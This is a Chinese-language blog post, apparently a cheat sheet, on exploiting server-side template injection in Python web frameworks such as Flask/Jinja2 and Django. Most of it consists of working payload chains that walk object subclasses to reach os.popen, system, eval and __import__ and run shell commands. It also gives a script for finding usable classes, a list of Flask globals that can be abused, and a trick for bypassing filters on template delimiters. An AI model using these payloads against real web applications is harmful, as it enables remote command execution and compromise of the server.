SSTI(python模板注入)整理

漏洞成因

在使用django框架进行web应用设计时,不规范的代码使用。
常用的的dgango代码为:
在这里插入图片描述
还可以设置动态网址,
在这里插入图片描述

python使用的web框架可以使用以下方法进行测试

在这里插入图片描述

攻击链相关类的说明

1.构建父类

''.__class__()

2.构建obg子类

obj.__ bases__()[0]

3.寻找obj的子类

obj.__subclasses__()

使用1,2,3,就可以构建一个寻找函数的攻击链,然后利用返回函数,看是否有漏洞,具体语句为:

''.__class__.__bases__[0].__subclasses__()

4.寻找类的地址

# 输入类的名字
''.__class__.__bases__[0].__subclasses__()[k]
# 寻找类的地址
''.__class__.__bases__[0].__subclasses__()[k].__init__
# 寻找所有全局变量,函数名称的字典,格式为[name:地址或值]
''.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']
# 调用类的静态变量或者静态函数
''.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('ls').read()
''.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['system']('ls')

构造攻击函数链

总结,找到eval、popen、__import__函数,就可以进行getshell
os类里面有popen函数
__builtins__里面有eval、__import__方法
flask内置方法

方法1:
直接调用popen函数,_wrap_close类里面有popen函数

''.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()

或者system函数
比如

''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['os'].system('dir')

方法2:
查找有无os的基类,如linecache

''.__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()

对于os基类的寻找,可以使用下面代码:

for i,k in zip(range(len(''.__class__.__bases__[0].__subclasses__())),''.__class__.__bases__[0].__subclasses__()):
    try:
        if k.__init__.__globals__['os']:
            print(k)
            print(i)
    except:
        pass

方法3:
使用__import__函数手动导入了os类

''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__import__']('os').popen('whoami').read()

方法4:
调用builtins类下的多个函数,比如eval和__import__(推荐:这里可以用的类比较多,使用方法2的代码进行查询)
这里以eval为例

''.__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

以__import__为例,推荐使用__globals__[‘builtins’][‘import’]的格式,直接使用.__import__本地会报错。

''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').popen('dir').read()

方法5:
使用flask内置函数,其内置函数可以通过下面代码查看

{{self.__dict__._TemplateReference_context.keys()}}

然后可以简洁代码

# 存在漏洞的函数如下
lipsum、url_for、get_flashed_messages
# 存在漏洞的类如下
cycler,joiner、namesapce、config、request、session
# 函数利用方式如下
lipsum.__globals__['os'].popen('ls').read()
# 类利用方式如下
cycler.__init__.__globals__['os'].popen('ls').read()

{{}}过滤绕过

使用{% xxx %}即可

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值